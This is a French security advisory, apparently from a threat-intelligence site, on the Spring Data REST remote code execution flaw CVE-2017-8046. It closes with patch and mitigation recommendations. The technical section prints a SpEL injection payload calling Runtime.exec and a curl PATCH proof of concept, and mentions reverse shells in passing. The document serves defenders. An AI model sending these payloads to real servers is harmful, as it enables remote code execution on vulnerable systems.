CVE-2017-8046 : Vulnérabilité d’exécution de code à distance via PATCH dans Spring Data REST

En 2017, une vulnérabilité critique (CVSS 9.8) a été identifiée dans les versions de Spring Data REST antérieures à 2.6.9 (Ingalls SR9) et 3.0.1 (Kay SR1), ainsi que dans les versions de Spring Boot antérieures à 1.5.9 et 2.0 M6. Cette faille permet à des attaquants distants d’exécuter du code arbitraire sur le serveur via des requêtes PATCH spécialement conçues. Bien que la vulnérabilité ait été reconnue et corrigée par l’équipe Spring, aucun cas d’exploitation active généralisée n’a été signalé pour le moment, probablement en raison de la spécificité de l’attaque qui nécessite que le traitement des patchs JSON soit activé et exposé.

ProduitSpring Eureka
Date02-06-2025 10:53:23
Informations
  • Tendance
  • Correctif disponible

Résumé technique

La vulnérabilité découle d’une désérialisation non sécurisée et d’une gestion dangereuse des expressions dans la manière dont Spring Data REST traite les requêtes PATCH avec le type de contenu application/json-patch+json.

Les attaquants peuvent construire une opération JSON Patch en utilisant le langage d’expression de Spring (SpEL), comme dans l’exemple suivant :

[
  {
    "op": "replace",
    "path": "T(java.lang.Runtime).getRuntime().exec(\"<command>\").x",
    "value": "pwned"
  }
]

Cela permet d’exécuter du code Java arbitraire (par exemple, lancer des commandes système ou exfiltrer des données). L’expression est interprétée par le moteur SpEL du framework Spring en raison de l’absence de validation des entrées lors du traitement des PATCH.

Exemple d’exploitation via curl :

curl --request PATCH \
  -H "Content-Type: application/json-patch+json" \
  -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' \
  http://localhost:8080/entity/1

Cela retarderait la réponse de 10 secondes, démontrant ainsi l’exécution du code.

Des charges utiles (payloads) plus complexes peuvent extraire la sortie de la commande ou établir des reverse shells via l’exécution de commandes au moment de l’exécution (runtime).

Recommandations

  1. Mettre à jour immédiatement :

    • Mettre à jour Spring Data REST vers la version 2.6.9 ou ultérieure (Ingalls SR9) ou 3.0.1 ou ultérieure (Kay SR1).
    • Mettre à jour Spring Boot vers la version 1.5.9 ou ultérieure ou 2.0 M6 ou ultérieure.
  2. Désactiver le support PATCH JSON si nécessaire :

    • JSON Patch n’est généralement pas requis dans la plupart des API REST. S’il n’est pas utilisé, désactivez le support pour application/json-patch+json.
  3. Filtrer et assainir les entrées :

    • Appliquez une validation rigoureuse des requêtes pour empêcher l’interprétation d’expressions malveillantes.

[Callforaction-THREAT-Footer]

Leave a Reply

Your email address will not be published. Required fields are marked *